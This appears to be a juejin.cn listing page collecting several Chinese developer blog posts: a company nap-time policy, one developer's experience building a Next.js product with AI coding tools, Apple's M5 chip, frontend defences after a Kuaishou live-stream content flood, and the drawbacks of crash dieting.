单向知识输送双向成长陪伴

简单来说:您吸取我的经验教训,我通过您的关注获得成长机会。公平,透明。


接下来的内容,我将具体分享如何用“每天2小时”打造真正有价值的个人产品...


作者:申阳
来源:juejin.cn/post/7566289235368919049
收起阅读 »

公司开始严查午休…

最近刷到一条有关午睡的吐槽帖子,可能之前有小伙伴也看到过,事情大致是这样的: 有阿里同学在职场社区发帖吐槽,公司严查午休,13:34 公司纪委直接敲门,提醒别休息了,然后还一遍又一遍的巡逻…… 说实话,第一眼刷到这个帖子的时候,脑子里的画面感的确有点强......
继续阅读 »

最近刷到一条有关午睡的吐槽帖子,可能之前有小伙伴也看到过,事情大致是这样的:


有阿里同学在职场社区发帖吐槽,公司严查午休,13:34 公司纪委直接敲门,提醒别休息了,然后还一遍又一遍的巡逻……



说实话,第一眼刷到这个帖子的时候,脑子里的画面感的确有点强......就帖子来看,其实 1:30 这个时间本身没有看出太大毛病,很多公司比这还早呢,关键是氛围的突然变化的确让人会感到非常不适应,估计这也是帖主的主要槽点。


这里所谓的公司纪委我猜是类似行政或者 HRG 之类的巡查人员?中午午休时间一到,就开始挨个房间开灯、敲门,有的甚至还敲隔板,进行巡逻式提醒。另外话说回来,阿里那么大,可能不同部门或者不同 bu 在这件事情的要求上可能也太不一样吧,了解的同学可以说说,这个咱就不好过多评论了。


那说回午休这件事本身,我倒是见过几个公司的午休文化。


记得之前在某通信设备商工作时,那里的午休文化是刻在骨子里的。到了中午,是真的鼓励大家带床午休。


12 点多吃完饭,整层楼的灯基本都会关掉,大家纷纷拿出自己的小折叠床,开始午睡休息。午休时间到点了再集体把灯打开,那种集体休整的仪式感,会让下午的工作效率更高。


再比如像互联网大厂里的腾讯,每天中午也是可以午休的,茶水间的咖啡机上甚至会贴着“尽量不要在午休期间使用”的牌子,十分人性化。另外,我记得他们之前校招入职礼盒里是不是好像还发过毯子还是披肩来着?这正好可以用于午休,都不用自己买了。


这种对员工休息的尊重和保护,说实话,真的是会让人感觉到温暖的。


关于午休这个事情,我个人觉得对于程序员来说还是非常有必要的。


毕竟,面对高强度的工作,没有好的休息,靠强撑着眼皮盯着屏幕,产出的未必是价值,更多的是低效的“摸鱼”和潜在的健康风险。


就拿我自己来说,搬砖工作日我基本都是要午睡的。


原因很简单,因为我晚上一般睡得都比较晚,而早上基本 7 点就起来了,第二天中午如果不睡一会,那完了,整个下午基本都废掉了,不管是开会还是写东西,整个人都会非常地不在状态。


同理在我的小团队内部也是,我们也是很鼓励大家午睡的。


所以我们团队同学基本人手一个午休折叠床+毯子,而且如果工位这里躺不开,大家也可以去会议室那里午睡休息。


我们一般是大家中午去吃饭的时候最后走的同学办公室关灯,然后下午 1 点 40 由 HR 那边同学统一开灯,大家对于这个习惯早已约定俗成、相沿成习。


但是有一点,也是和文章开头的帖子有很大不同的是,我们的同学在开灯时,不会像文章开头帖子那样还强行给你敲门整出一波动静,我们即便灯开了,大家也还是可以稍微再躺一下,缓个几分钟再慢慢起来都没啥问题。


试想一下,要是像文首帖子说的那样,突然有人来咔咔给你一顿敲门,或者说甚至还敲隔板,那不得给人吓一机灵?


面对文章开头的吐槽贴,虽然别人的事情我们也管不了,但是看问题也不能只看表面。


透过这个吐槽帖,反映的是职场的一些微妙变化,这背后,其实折射出的或许是一种“越来越收紧”的职场环境


那如果你正好处于这种正在收紧的工作环境之中,作为普通个体,你会怎么做呢?


这里我也想稍微多聊两句。


**首先,千万不要因为环境的变化而让自己陷入情绪不满与内耗。**很早之前的文章里我就写过,要理性地看待工作关系。


职场本质是价值交换的契约关系,这没有问题,那付诸技术和专业的同时,也要保持清醒的边界意识:既不愤世嫉俗,也不天真幼稚。


其次,要学会“物理防御”,在规则允许的缝隙内尽量对自己好一点吧。


千万不要因为环境变紧了,就主动放弃自己的需求。毕竟,身体是自己的,健康是自己的,只是方式我觉得可以更灵活变通一些。


就拿这个帖子里「午睡收紧」这件事情来说,如果公司不让关灯,那咱就搞一个好一点的眼罩和降噪耳机行不行?


如果公司不让躺睡,那咱是不是可以买个质量好一点的颈枕,即便靠在椅子、或者趴在桌子上眯一会是不是也能舒服一点?


如果中午休息时间不够,我们是不是可以充分利用碎片化时间来缓一缓,比如利用下午茶或者拿快递的时间去楼下透透气,或者在工位上做几个简单的拉伸动作。


如此之类,等等等等,大家也可以自己多想想办法。


记住,无论职场环境如何变迁,身体是自己的,健康也是自己的,先把自己身体照顾好,再去谈理想谈工作,大家觉得呢?


好了,那以上就是今天的内容分享了,希望能对大家有所启发,我们下篇见。



注:本文在GitHub开源仓库「编程之路」 github.com/rd2coding/R… 中已经收录,里面有我整理的6大编程方向(岗位)的自学路线+知识点大梳理、面试考点、我的简历、几本硬核pdf笔记,以及程序员生活和感悟,欢迎star。



作者:CodeSheep
来源:juejin.cn/post/7587619946189946931
收起阅读 »

🌸 入职写了一个月全栈next.js 感想

web
背景介绍 最近组内要做0-1的新ai产品, 招我进来就是负责这个ai产品,启动的时候这个季度就剩下两个月了,天天开会对齐进度,一个月就已经把基础版本给做完了,想要接入到现有的业务上面,时间方面就特别紧张,技术选型怎么说呢, leader用ai写了一个版本 我...
继续阅读 »

背景介绍



  • 最近组内要做0-1的新ai产品, 招我进来就是负责这个ai产品,启动的时候这个季度就剩下两个月了,天天开会对齐进度,一个月就已经把基础版本给做完了,想要接入到现有的业务上面,时间方面就特别紧张,技术选型怎么说呢, leader用ai写了一个版本 我们在现有的代码进行二次开发这样, 全栈next.js 要学习的东西太多了 又没有前端基础,没有ai coding很难完成任务(十几分钟干完我一天的工作 claude4.5效果还不错 进度推的特别快), 自从trae下架了claude,后面就一直cursor claude 4.5了。



    • nextjs+ts+tailwindcss+shadcn ui现在是mvp套餐,startup在梭哈,时间就是生产力哪需要那么多差异化样式直接一把,有的💰才开始做细节,你会发现慢慢也💩化了。

    • Nextjs 是全栈框架 可以很快把一个MVP从零到一完整跑起来。 你要是抬杠说什么高并发负载均衡啥的,你的用户数量真多到需要考虑性能的时候,你已经不需要自己考虑了(小红书看到的一段话 挺符合场景的)

    • next.js 写后端 确实比较轻量 只能做一些curd的操作 socket之类的不太合适 其他api 还是随便开发 给我的感受就是前端能够直接操作db,前后端仓库可以不分离,业务逻辑还是一定要分离的 看看开源的next.js 项目的架构设计结构是怎么样的 学习/模仿/改造。

    • 语言只是工具,适合最重要,技术没有银弹



  • nextjs.org/ github.com/vercel/next…
    image.png


项目的时间线



项目从启动到这周 大概是5周的时间




  • 10/28-10/31 Week 1

    • 项目初始化/需求讨论/设计文档/

    • 后端next.js, typescript技术熟悉 项目运行/调试

    • 基础框架搭建 设计表结构ddl, 集成mysql, 编写crud接口阶段



  • 11/03-11/07 Week 2

    • 产品PRD 提供

    • xxxx等表设计



  • 11/10-11/14 Week 3

    • xxxxx 基本功能完结

    • @xxxx 讲解项目结构/规范



  • 11/17-11/21 Week 4

    • 首页样式/逻辑 优化

    • 集成统一登录调研

    • 部署完成



  • 11/24-11/28 Week 5

    • 服务推理使用Authorization鉴权 对内接口使用Cookies (access_token) 鉴权 开发

    • xxxx 表设计表设计 逻辑开发

    • xxx设计 设计开发

    • 联调xxxx





5周时间 功能基本完成了 剩下的就是部署到线上 进行场景实践了



前端技术栈



  • Next.js 14:选择 App Router 架构,支持服务端渲染和 API Routes

  • TypeScript 5.4:强类型语言提升代码质量和可维护性

  • React 18:利用并发特性和 Suspense 提升用户体验

  • Zustand:轻量级状态管理,替代 Redux 降低复杂度

  • Ant Design + Radix UI:组件库组合,平衡美观性和可访问性


React + TypeScript react.dev/



  • 优势:类型安全:TypeScript 提供编译时类型检查,减少运行时错误 ✅ 组件化开发:高度可复用的组件设计 ✅ 生态成熟:丰富的第三方库和工具链 ✅ 开发体验:优秀的 IDE 支持和调试工具

  • 劣势:学习曲线:TypeScript 对新手有一定门槛 ❌ 编译时间:大型项目编译可能较慢 ❌ 配置复杂:类型定义需要额外维护


UI 组件方案 Ant Design + Radix UI 混合方案



  • 优势:快速开发:Ant Design 提供完整的企业级组件 ✅ 无障碍性:Radix UI 提供符合 WAI-ARIA 标准的组件 ✅ 定制灵活:Radix UI 无样式组件便于自定义 ✅ 中文支持:Ant Design 对中文界面友好

  • 劣势:包体积大:两个 UI 库增加了打包体积 ❌ 样式冲突:需要注意两个库的样式隔离❌ 维护成本:需要同时维护两套组件系统


Tailwind CSS



  • 优势:开发效率高:原子化类名,快速构建 UI ✅ 体积优化:生产环境自动清除未使用的样式 ✅ 一致性:设计系统内置,确保视觉一致 ✅ 响应式:便捷的响应式设计工具

  • 劣势:类名冗长:HTML 可能变得难以阅读 ❌ 学习成本:需要记忆大量类名 ❌ 非语义化:类名不直观反映元素意义


ant design x


ahooks


后端技术栈



  • Prisma 6.18:现代化 ORM,类型安全且支持 Migration

  • MySQL:成熟的关系型数据库,满足复杂查询需求

  • Redis (ioredis) :高性能缓存,支持多种数据结构

  • Winston:企业级日志系统,支持日志轮转和结构化输出

  • Zod:运行时类型验证,保障 API 数据安全


Next.js API Routes



  • 优势:统一代码库:前后端在同一项目中 ✅ 类型共享:TypeScript 类型可在前后端复用 ✅ 开发效率:无需配置跨域、代理等 ✅ 部署简单:单一应用部署

  • 劣势:扩展性限制:无法独立扩展后端服务 ❌ 性能瓶颈:Node.js 单线程可能成为瓶颈 ❌ 微服务困难:不适合复杂的微服务架构


Prisma ORM



  • 优势:类型安全:自动生成 TypeScript 类型 ✅ 迁移管理:声明式 schema,易于版本控制 ✅ 查询性能:生成优化的 SQL 查询 ✅ 关系处理:直观的关系查询 API ✅ 多数据库支持:支持 MySQL、PostgreSQL、SQLite 等

  • 劣势:复杂查询:某些复杂 SQL 可能需要原始查询 ❌ 生成代码体积:生成的 client 文件较大 ❌ 版本升级:大版本升级可能需要迁移


踩坑记录



主要是记录一些开发过程中踩坑 和设计问题




  • node js 项目 jean部署

  • 自定义配置/dockerfile配置 没有类似项目参考 健康检查问题 加上环境变量配置多环境 一步一步

  • next.js 中 用middleware进行接口拦截鉴权 里面有prisma path import 直接出现了Edge Runtime 异常 自定义auth 解决

  • npm build 项目 踩坑

  • 静态渲染流程 动态api 警告 强制动态渲染

  • 其他组件 document 不支持build问题

  • 保存多场景模式+构建版本管理第一版考虑的太少了,发现有问题 后面又重构了一版本

  • xxx日志目前还没有接入 要不就是日志文件 要不就是console.log 目前看日志的方式是去容器化运行日志看了 后续集群部署就比较麻烦了

  • ant design 版本降低到6.0以下 ant-design x 用不了2.0.0 的一些对话组件


Next.js实践的项目记录


苏州 trae friends线下黑客松 📒



  • 去Trae pro-Solo模式 苏州线下hackathon一趟, 基本都是一些独立开发者,一人一公司,三个小时做出一个产品用Trae-solo coder模式,不得不说trae内部集成的vercel部署很丝滑 react项目一键deploy访问 完全不用关系域名服务器, solo模式其实就是混合多种model使用进行输出 想要的效果还是得不断的调试 thiking太长,对于前后端分离项目 也能够同时关联进行思考规划。

  • 1点多到4点 coding时间 从0-1生成项目 使用trae pro solo模式 就3个小时 做不了什么大的东西 那就做个日语50音的网站呗 现场酒店的网基本用不了 我数据也很卡 用的旁边干中学老师的热点 用next.js tailwindcss ant design deepseek搭建的网页 够用了 最后vercel部署 trae自带集成 挺方便的 solo模式还是太慢了 接受不了 网站地址是 traekanastudio1ssw.vercel.app/ 功能就是假名+ai生成例句和单词 我都没有路演 最后拿优秀奖可能是我部署了吧 大部分人没部署 优秀奖就是卫衣了 蹭了一天的饭加零食 爽吃

  • http://www.xiaohongshu.com/explore/692… 小红书当时发的帖子 可以领奖品


image.png


Typescript的AI方向 langchain/langgraph支持ts



  • 最近在看的ts的ai框架 发现langchain 是支持ts的, langchain-chat 主要是使用langchain+langgraph 对ts进行实践 traechat-apps4y6.vercel.app/

  • 部署还踩坑了 MCP 在 Vercel 上不生效是因为 Vercel 是 serverless 环境,不支持运行持久的子进程。让我帮你解决这个问题:

  • 主要是对最近项目组内要用的到mcp/function call 进行实践操作 使用modelscope 上面开源的mcp进行尝试 使用vercel进行部署。

  • 最近看到小红书上面的3d 粒子 圣诞树有点火呀,自己也尝试下 效果很差 自己弄的提示词 可以去看看帖子上的提示词去试试 他们都是gemini pro 3玩的 我也去弄个gemini pro 3 账号去玩玩。

  • 还有一个3d粒子 跟着音乐动的的效果 下面的提示词可以试试


帮我构建一个极简科幻风格的 3D 音乐可视化网页。
视觉上参考 SpaceX 的冷峻美学,全黑背景,去装饰化。核心是一个由数千个悬浮粒子组成的‘生命体’,它必须能与声音建立物理连接:低音要像心脏搏动一样冲击屏幕,高音要像电流一样瞬间穿过点阵。
重点实现一种‘ACID 流体’视觉引擎:让粒子表面的颜色不再是静态的,而是像两种粘稠的荧光液体一样,在失重环境下互相吞噬、搅拌、流动,且流速由音乐能量驱动。

c88886c4c8c3a180a2dba52f17125dc1.jpg



image.png


image.png



ai方向 总结




  • a2a解决的是agent之间如何配合工作的问题 agent card定义名片 名称 版本 能力 语言 格式 task委托书 通信方式http 用户 客户端是主控 接受用户需求 制定具体任务 向服务器发出需求 任务分发 接受响应 服务器是各类部署好的agent 遵循一套结构化模式

  • mcp 解决的llm自主调用功能和工具问题

  • mcp 是解决 function call 协议的碎片化问题,多 agent 主要是为了做上下文隔离

  • 比如说手机有一个system agent 然后各个app有一个agent,用户语音输入买咖啡,然后system agent调用瑞幸agent 这样就是非侵入式 让app暴露系统a2a接口,感觉比mcp要更合理一点,不是单纯让app暴露tools,系统agent只需要做路由

  • 而且有一点我觉得挺有意思的,就是自己的agent花的token是自己的钱,如果自己的agent找别人的agent,让它执行任务啥的,花的不就是别人的钱……

  • Dify:更像宜家的模块化家具,提供可视化工作流、预置模板,甚至支持“拖拽式”编排AI能力。比如,你想做一
    个智能客服,只需在界面里连接对话模型、知识库和反馈按钮,无需写一行代码



python 和ts 在ai上面的比较




  • Python 依然是 AI 训练和科研的王者,PyTorch、TensorFlow、scikit-learn 这些生态太厚实了,训练大模型你离不开它。

  • TS 在底层 AI 能力上还没那么能打,GPU 加速、模型优化这些,暂时还得靠 Python 打底。

  • Python 搞理论和模型,TypeScript卷体验和交付


个人学习记录



主要还是前端和ai方面的知识点学习的比较多吧




Vibe Coding



  • 先叠甲, 我没有前端的开发经验,第一次写前端项目,项目里面90%的前端代码都是ai 生成的,能够让你一个不会前端的同学也快速完成mvp版本/需求任务。我虽然很推ai coding 很喜欢用, 即时反馈带来的成就感, 但是对于生成的代码是不是屎山 大概率可能是了, 因为前期 AI速度快,制造屎山的速度更快。无论架构设计多优秀,也难避免屎山代码的宿命: 需求一直在变,你的架构设计是针对老的需求,随着新的需求增加,老的架构慢慢的就无法满足了,需要重构。

  • 一起开发的前端同事都说ai生成那些样式互相影响了,样式有tailwindcss 有自定义的css 每个模块又有不同 大概率出问题 有冲突,就是💩山。

  • 最大的开发障碍就是内心的偏见 不愿意放弃现在所擅长的东西 带着这份偏见不愿意去学习



对于ai coding 的话 用过trae-pro/cursor/qoder/copilot/codex等等 最终还是cursor claude 4.5用的最舒服



image.png



  • 基本一周一个cursor pro账号 买号都花了快1k了。


image.png



You have used up your included usage and are on pay-as-you-go which is charged based on model API rates. You have spent $0.00 in on-demand usage this month.



image.png


9e0f1cde2dbc3314e44150d1e544c77a.png



  • 最后就是需要学好英语 前端的技术文档都是英文的 虽然有中文的翻译版本, 但没有自己直接去看官方的强 难免有差异, 我现在都是用插件进行web翻译去看的 很累。

  • 现在时间是凌晨 11/30/02:36 喝了两瓶酒。这个周末我要重温甜甜的恋爱 给我也来一颗药丸 给时间是时间 让过去过去, 年底想去日本跨年了


image.png
image.png


作者:小佘ovo
来源:juejin.cn/post/7577713754562838580
收起阅读 »

性能飙升4倍,苹果刚发布的M5给人看呆了

2025 年 10 月 15 日,苹果公司正式发布全新 M5 芯片。作为继 M4 之后的又一代 Apple Silicon 处理器,M5 采用第三代 3nm 制程工艺,在 AI 运算、图形性能与能效方面实现全面突破,标志着苹果在“端侧 AI”赛道上的又一次重大...
继续阅读 »

2025 年 10 月 15 日,苹果公司正式发布全新 M5 芯片。作为继 M4 之后的又一代 Apple Silicon 处理器,M5 采用第三代 3nm 制程工艺,在 AI 运算、图形性能与能效方面实现全面突破,标志着苹果在“端侧 AI”赛道上的又一次重大跨越。


目前,M5 已率先搭载于 14 英寸 MacBook Pro、新一代 iPad Pro 与 Apple Vision Pro,并同步开启预订。


在这里插入图片描述




一、核心亮点:GPU 首次集成神经加速单元


M5 最引人注目的革新,在于其 GPU 架构的彻底重构



  • 全新 10 核 GPU,每个核心均内置独立 Neural Accelerator(神经加速单元)

  • GPU 的 AI 计算峰值性能较 M4 提升超 4 倍

  • 相比初代 M1,AI 性能提升 超过 6 倍



苹果硬件技术高级副总裁 Johny Srouji 表示:“M5 标志着 Apple 芯片在 AI 性能上的又一次重大跨越。”



这一设计打破了传统 CPU/GPU/Neural Engine 三者分离的 AI 计算模式,使 GPU 本身具备原生 AI 推理能力,特别适合图像生成、视频处理、空间计算等高负载场景。




二、三大核心模块全面升级


1. CPU:更高能效,更强多线程



  • 10 核 CPU 架构:6 个高能效核心 + 4 个高性能核心

  • 多线程性能较 M4 提升最高达 15%

  • 搭载“全球最快 CPU 核心”,兼顾性能与续航


在这里插入图片描述


2. 神经引擎(Neural Engine):协同加速 AI 任务



  • 16 核神经引擎,专为机器学习优化

  • 与 GPU/CPU 中的神经加速单元协同工作

  • 在 Apple Vision Pro 上可极速生成“空间化照片”或个性化 Persona

  • Apple Intelligence 提供高效本地运行支持,如 Image Playground 响应更迅捷


官方介绍,M5 芯片的设计是围绕AI展开的,采用新一代 GPU 架构,每个计算单元均针对 AI 进行优化。10 核 GPU 中各个核心内置有专用神经加速器,峰值 GPU 计算性能达到 M4 的 4 倍有余,AI 峰值性能更达到 M1 的 6 倍以上。


3. 统一内存架构:带宽与容量双突破



  • 内存带宽高达 153 GB/s,比 M4 提升近 30%

  • 支持最高 32GB 统一内存

  • 整个 SoC 共享同一内存池,大幅提升多任务与大模型本地运行能力



实测场景:用户可同时运行 Adobe Photoshop + Final Cut Pro + 后台上传大文件,系统依然流畅。





三、软件生态深度协同:Metal 4 + Core ML 赋能开发者


M5 的硬件革新离不开软件栈的配合。苹果通过以下框架释放 M5 的全部潜能:


框架作用
Core ML自动调度 CPU/GPU/Neural Engine,优化模型推理
Metal Performance Shaders加速图形与计算任务
Metal 4新增 Tensor API,允许开发者直接对 GPU 中的神经加速单元编程


开发者可通过 Metal 4 构建专属 AI 加速方案,例如在本地运行 Draw Things(扩散模型绘图)webAI 上的大语言模型





四、实际应用场景:端侧 AI 落地加速


M5 的强大 AI 能力已在多个场景中体现:



  • Apple Vision Pro:实时生成 3D 空间照片、个性化虚拟形象

  • iPad Pro:本地运行 Stable Diffusion 类模型,秒级出图

  • MacBook Pro:AI 编程助手、视频智能剪辑、语音实时转写等任务无需联网

  • Apple Intelligence:所有 AI 功能均在设备端完成,保障隐私与低延迟




五、能效与环保:性能提升,功耗更低


尽管性能大幅跃升,M5 仍延续苹果芯片高能效传统



  • 采用先进 3nm 工艺,晶体管密度更高、漏电更少

  • 在相同性能下功耗显著低于竞品

  • 支持苹果 “Apple 2030”碳中和计划,从材料、制造到运输全链路减碳


这意味着新款 MacBook Pro、iPad Pro 和 Vision Pro 在获得更强性能的同时,续航更长、发热更低、环境足迹更小




M5虽然又上面几个方面的提升,但是是否值得为M5献上自己的血汗钱,先看看用过的网友怎么说?


一个眼光长远的网友说到:
在这里插入图片描述


这里也期待下M6的到来!


在这里插入图片描述


当然如果你是一个AI重度开发者或者使用者,M5也是值得冲一把的。


下面就来看看者3款产品。


M5 MacBook Pro


外观和之前差别不大, 14 英寸 120Hz 3024*1964 的刘海屏,峰值亮度为 1600nits。


在这里插入图片描述
三个 Thunderbolt 4 端口、一个 HDMI 接口、一个 SD 卡槽、一个 3.5 耳机插孔。


在这里插入图片描述
最大的提升就是你可以拥有 4TB 的存储规格,但是价格和 512GB 相比差了 9000 块,相当于1TB的价格接近3000块大洋。


在这里插入图片描述
内存方面有16GB 和 24GB 以及 32GB,具体价格如下


在这里插入图片描述
对于普通的开发场景选择16GB就可以了,如果是做大数据,AI大模型开发可以选择32GB。


iPad Pro


屏幕采用双层 120Hz OLED ,11 英寸分辨率为 24201668,13 英寸分辨率为 27522064。


在这里插入图片描述


颜色一样提供深空黑色和银色两种可选


在这里插入图片描述


Vision Pro


新版的Vision Pro 除了从 M2+R1 组合升级到 M5+R1 之外,最显眼的变化就是升级了新的双针织头戴套。



续航也从原来的 2 小时扩展至 3 小时,最高刷新率也从 100Hz 增至 120Hz,有效减少了观看物理环境时的运动模糊。


不过价格最低高达9000,确实劝退了很多人。


总结:M5 是 Apple Intelligence 的“终极载体”


如果说 M1 是 Apple Silicon 的起点,M2/M3 是成熟,M4 是 AI 探索,那么 M5 就是 Apple Intelligence 的落地基石


通过 GPU 内置神经加速单元 + 统一内存 + 软件深度协同,M5 不仅是一颗芯片,更是苹果构建“端侧 AI 生态系统”的核心引擎。


未来,随着更多 AI 应用向本地迁移,M5 将成为开发者与用户拥抱下一代人机交互的关键硬件平台。





端侧 AI 的时代,已经到来。



作者:golang学习记
来源:juejin.cn/post/7563856713163915290
收起阅读 »

2025快手直播至暗时刻:当黑产自动化洪流击穿P0防线,我们前端能做什么?🤷‍♂️

兄弟们,前天的瓜都吃了吗?🤣 说实话,作为一名还在写代码的打工仔,看到前天晚上快手那个热搜,我手里捧着的咖啡都不香了,后背一阵发凉。 12月22日晚上10点,正是流量最猛的时候,快手直播间突然失控。不是服务器崩了,而是内容崩了——大量视频像洪水一样灌进来。紧...
继续阅读 »

兄弟们,前天的瓜都吃了吗?🤣


image.png


说实话,作为一名还在写代码的打工仔,看到前天晚上快手那个热搜,我手里捧着的咖啡都不香了,后背一阵发凉。


12月22日晚上10点,正是流量最猛的时候,快手直播间突然失控。不是服务器崩了,而是内容崩了——大量视频像洪水一样灌进来。紧接着就是官方无奈的拔网线,全站直播强行关停。第二天开盘,股价直接跌了3个点。


这可不是普通的 Bug,这是P0 级中的 P0


很多群里在传内鬼或者0day,但看了几位安全圈大佬(360、奇安信)的复盘,我发现这事儿比想象中更恐怖:这是一次教科书级别的黑产自动化降维打击。


今天不谈公关,咱们纯从技术角度复盘一下:假如这事儿发生在你负责的项目里,你的前端代码能抗住几秒?




当脚本比真人还多还快时?


这次事故最骚的地方在于,黑产根本不按套路出牌。


以前的攻击是 DDoS,打你的带宽,让你服务不可用。


这次是 Content DDoS(内容拒绝服务)。


1. 前端防线形同虚设


大家有没有想过,黑产是怎么把视频发出来的?


他们绝对不会坐在手机前,一个一个点开始直播。他们用的是群控、是脚本、是无头浏览器(Headless Browser)。


这意味着什么?


意味着你前端写的那些 if (user.isLogin)、那些漂亮的 UI 拦截、那些弹窗提示,在黑客眼里全是空气。他们直接逆向了你的 API,拿到了推流接口,然后几万个并发调用。


2. 审核系统被饱和式攻击


后端通常有人工+AI 审核。平时 QPS 是 1万,大家相安无事。


昨晚,黑产可能瞬间把 QPS 拉到了 100万。


云端 AI 审核队列直接爆了,人工审核员估计鼠标都点冒烟了也审不过来。一旦阈值被击穿,脏东西就流到了用户端。




那前端背锅了吗?


虽然核心漏洞肯定在后端鉴权和风控逻辑(大概率是接口签名泄露),但咱们前端作为 离黑客最近的一层皮,如果做得好,绝对能把攻击成本拉高 100 倍。


来,如果不幸遇到了这种自动化脚本攻击,咱们前端手里还有什么牌?🤔


别把 Sign 算法直接写在 JS 里!


很多兄弟写接口签名,直接在 request.js 里写个 md5(params + salt) 完事。


大哥,Chrome F12 一开,Sources 一搜,断点一打,你的盐(Salt)就裸奔了。


防范操作:直接上 WASM (WebAssembly)


把核心的加密、签名逻辑,用 C++ 或 Rust 写,编译成 .wasm 文件给前端调。


黑客想逆向 WASM?那成本可比读 JS 代码高太多了。这就是给他们设的第一道坎。


你的用户,可能根本不是人


黑产用的是脚本。脚本和真人的操作是有本质区别的。


不要只会在登录页搞个滑块,没用的,现在的图像识别早破了。


要在 关键操作(比如点击开始直播) 前,采集一波数据:



  • 鼠标轨迹:真人的轨迹是曲线(贝塞尔曲线),脚本通常是直线。

  • 点击间隔:脚本是毫秒级的固定间隔,人是有随机抖动的。


// 伪代码,简单的是不是人检测
function isHuman(events) {
// 如果鼠标轨迹过于平滑或呈绝对直线 -> 机器人
if (analyzeTrajectory(events) === 'perfect_linear') return false;
// 如果点击时间间隔完全一致 -> 机器人
if (checkTiming(events) === 'fixed_interval') return false;
return true;
}

把这些行为数据打分,随着请求发给后端。分低的,直接拒绝推流。


既然防不住内鬼,那就给他打标


这次很多人怀疑是内部泄露了接口文档或密钥。说实话,这种事防不胜防。


但是,前端可以搞 盲水印


在你的 Admin 管理后台、文档平台,加上肉眼看不见的 Canvas 水印(把员工 ID 编码进背景图的 RGB 微小差值里,具体大家自己去探索😖)。


一旦截图流出,马上就能解码出是哪个员工泄露的。威慑力 > 技术本身。


或者试试这个技巧 👉 如何用隐形字符给公司内部文档加盲水印?(抓内鬼神器🤣)




安全复盘


这次快手事件,其实就死在了一个逻辑上: 后端太信任通过了前端流程的请求。


我们写代码时常犯的错误:



  • 前端校验过手机号格式了,后端不用校验了吧?

  • 必须点了按钮才能触发这个请求,所以这个接口很安全。


大错特错!


2025 年了,兄弟们。在 Web 的世界里,不相信前端 才是保命法则。


任何从客户端发来的数据,都要默认它是有毒的。


之前我都发过类似的文章:为什么永远不要相信前端输入?绕过前端验证,只需一个 cURL 命令!


希望对你们有帮助👆




这次是快手,下次可能就是咱们的公司。


尤其是年底了,黑灰产也要冲业绩(虽然这个业绩有点缺德😖)。


建议大家上班时看看这几件事:



  1. 查一下核心接口(支付、发帖、推流)有没有做签名校验。

  2. 看看有没有做频率限制(Rate Limiting),前端后端都要看。

  3. 搜一下你们的代码仓库,看看有没有把公司的 Key 或者源码传上去(这个真的很常见!)。


前端不只是画页面的,关键时刻,咱们也是安全防线的一部分。


别等到半夜被运维电话叫醒,那时候就真只能甚至想重写简历了🤣。


谢谢大家.gif


作者:ErpanOmer
来源:juejin.cn/post/7586944874526539814
收起阅读 »

节食正在透支程序员的身体

引言 记得我刚去北京工作的那段时间,由于工作原因开始吃外卖,加上缺乏运动,几个月胖了20斤。 当时心想这不行啊,我怕我拍婚纱照的时候扣不上西服的扣子,我决心减肥。 在我当时的认知里,只要对自己狠一点、饿一饿,就能瘦成理想状态。于是我晚上不吃饭,下班后去健身房跑...
继续阅读 »

引言


记得我刚去北京工作的那段时间,由于工作原因开始吃外卖,加上缺乏运动,几个月胖了20斤。


当时心想这不行啊,我怕我拍婚纱照的时候扣不上西服的扣子,我决心减肥。


在我当时的认知里,只要对自己狠一点、饿一饿,就能瘦成理想状态。于是我晚上不吃饭,下班后去健身房跑5公里,1个月的时间瘦了15斤。我很自豪,身边的人说我明显精神多了。


可减肥这事远比我想的复杂,由于没有对应的增肌训练,我发现在做一些力量训练的时候,比之前没减肥前更吃力了。


我这才意识到,自己不仅减掉了脂肪,还减掉了不少肌肉。


我当时完全没有意识到这套方法的问题,也不知道如何科学评估身体组成变化——减肥是成功了,但减的不止是“脂肪”,还有“体能”。


上篇文章提到我对节食减肥的做法并不是特别认可,那科学的方法应该是怎么样的呢,我做了如下调研。


重新理解“减肥”这件事


想系统性地弄清楚减肥到底是怎么回事,我先从最直接的方式开始:看看别人都是怎么做的。


我先去搜了小红书、抖音等平台,内容五花八门,有节食的,有吃减肥药的,也有高强度训练比如HIIT的,还有各种花里胡哨的明星减肥法。


他们动不动就是瘦了十几斤,并且减肥前后的对比非常强烈,我都有种立刻按照他们的方式去试试的冲动。


大部分攻略中都会提到一个关键词“节食”,看来“少吃”几乎成了所有减肥成功者的共识。


我接着去谷歌搜索“节食 减肥”关键字,排名比较靠前的几篇文章是这几篇。


image.png


搜索引擎搜出来的一些内容,却讲了一些节食带来的一些不良影响,比如反弹、肌肉流失、代谢下降、饥饿激素紊乱...


这时候我很疑惑,社交媒体上“万人点赞”的有效手段,在官方媒体中的描述,完全不同。


我还需要更多的信息,为此我翻了很多关于节食减肥的书籍。


我在《我们为什么吃(太多)》这本书里看到了一个美国的实验。


美国有一档真人秀节目叫《超级肥胖王》。节目挑选了一些重度肥胖的人,所有参赛者通过高强度节食和锻炼项目,减掉好几十千克的重量。


但研究追踪发现,6年之后,他们平均都恢复了41千克的体重。而且相比六年前,他们的新陈代谢减少了700千卡以上,代谢率严重下降。


有过节食减肥经历的朋友可能都会有过反弹的经历,比如坚持一周较高强度的节食,两天可能就涨回来了。前一阵子一个朋友为了拍婚纱照瘦了很多,最近拍完回了一趟老家,再回北京一称胖了10斤,反弹特别多。


并且有另外一项研究者实验发现,极端节食后,我们体内负责刺激食欲的激素水平比节食前高出了24%,而且进食后获得的饱腹感也更低了。


也就是说你的大脑不知道你正在节食还是遇到了饥荒,所以它会努力的调节体重到之前的水平。


高强度节食是错误的。


正确选项


或许你想问,什么才是正确的减肥方式呢?


正确的做法因人而异,脱离身体状况谈减肥就是耍流氓


最有参考价值的指标是BMI,我国肥胖的BMI标准为:成人BMI≥28 kg/m²即为肥胖,24.0≤BMI<28.0 kg/m²为超重,BMI<18.5 kg/m²为体重过低,18.5≤BMI<24.0 kg/m²为正常范围。


比如我目前30岁,BMI超过24一点,属于轻微超重。日常生活方式并不是很健康,在办公室对着电脑一坐就是一天。如果我想减肥,首先考虑多运动,如跑步、游泳。


但如果我的BMI达到28,那么就必须要严格控制饮食,叠加大量的有氧运动。


如果针对50岁以上的减肥,思路完全不一致。这个年纪最重要的目标是身体健康,盲目节食会引发额外问题:肌肉流失、骨质疏松、免疫力下降。


这时候更需要的是调整饮食结构,保证身体必要的营养摄入。如果选择运动,要以安全为第一原则,选择徒手深蹲、瑜伽、快走、游泳这些风险性较小的运动。


